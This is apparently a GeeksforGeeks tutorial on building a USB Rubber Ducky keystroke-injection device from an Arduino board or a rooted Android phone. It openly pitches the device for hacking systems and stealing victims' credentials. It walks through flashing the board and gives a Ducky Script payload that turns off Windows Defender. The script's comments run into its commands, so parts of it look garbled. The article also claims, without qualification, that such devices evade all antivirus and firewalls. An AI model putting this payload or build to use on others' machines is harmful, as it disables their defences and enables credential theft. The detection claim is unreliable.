USB Rubber ducky is an HID device that looks similar to a USB Pen drive. It may be used to inject keystroke into a system, used to hack a system, steal victims essential and credential data can inject payload to the victim’s computers. The main important thing about USB Rubber ducky is that it cannot be detected by any Anti-Virus or Firewall as it acts as an HID device.
How To Make A USB Rubber Ducky?
Android mobiles can also be used to make a USB rubber ducky, if an Android device is rooted we may use it as a Rubber ducky device. And can perform all the operations that an original ducky can perform.
To Make USB rubber ducky from android :
- Android mobile must be rooted
- Kali net hunter installed on the device
In this article, we must be using some other components to create a USB Rubber Ducky at home.
- Arduino based board
- USB connector
- Arduino IDE
Step 1: First of all download Arduino IDE from the link, and install the software like any other software you install on windows.
Step 2: Connect the Arduino board to the computer using the USB connector and open the IDE.
Step 3: Now from the Payload list choose according to your task.
Step 4: Convert the code that you have chosen to make executable in Arduino here.
Script for turning off the Windows Defender
REM turn off windows defender then clear action center REM author:geeksforgeeks REM You take responsibility for any laws you break with this, I simply point out the security flaw REM start of script REM let the HID enumerate DELAY 2000 ESCAPE DELAY 100 CONTROL ESCAPE DELAY 100 STRING Windows Defender Settings ENTER DELAY 2000 REM why TAB and HOME? TAB DELAY 50 REM why TAB and HOME?HOME DELAY 50 ALT F4 DELAY 3200 REM windows + a = ???? GUI a DELAY 500 ENTER DELAY 100 GUI a
Step 5:In the Arduino IDE creates a new project, by clicking on File–> New project.
Step 6: After converting to new code adding to the Arduino IDE, now select the board which you are using. Tools–>Board–>Your board.
Step 7: Click on the project and choose the port, where Arduino is connected. Tools–>Port–>Your Port.
Step 8: Now when the board is connected, enter the code or payload you want to work with.
Step 9: Now verify and compile your code. Sketch–>verify/compile.
Step 10: After compiling, upload the code to the Arduino device.
Whenever you will Connect this board with any computer it works as a USB rubber ducky and executes the payload written. You can Check about USB rubber ducky in Details Here.
- USB Rubber Ducky - PenetrationTesting
- How to Make Your Work From Home More Productive?
- How to install Android Applications in Mobile Phone without USB Cables using Android Studio
- How to Protect a PC with a USB Flash Drive?
- Future of home automation
- Write From Home Challenge - Technical Content Writing Event By GeeksforGeeks
- 5 Ways to Maintain the Security During Work From Home
- 10 Best Work From Home Jobs
- Mistakes You Must Avoid During Work From Home
- Difference between Landing page and Home Page
- 10 Popular IoT Home Devices in 2020
- How to make a website using WordPress (Part - 1)
- How to make a website using WordPress (Part – 2)
- Which language should you learn first if you want to make an app?
- How does fileless malware make its way to Computer
- How to make Storage Partition on Cloud
- Do you want to make your own games?
- 5 Ways to Make Money With Your Blog
- Do You Want to Make Career in Networking?
- How to make Check/Tick and Cross animations in Android
If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to firstname.lastname@example.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please Improve this article if you find anything incorrect by clicking on the "Improve Article" button below.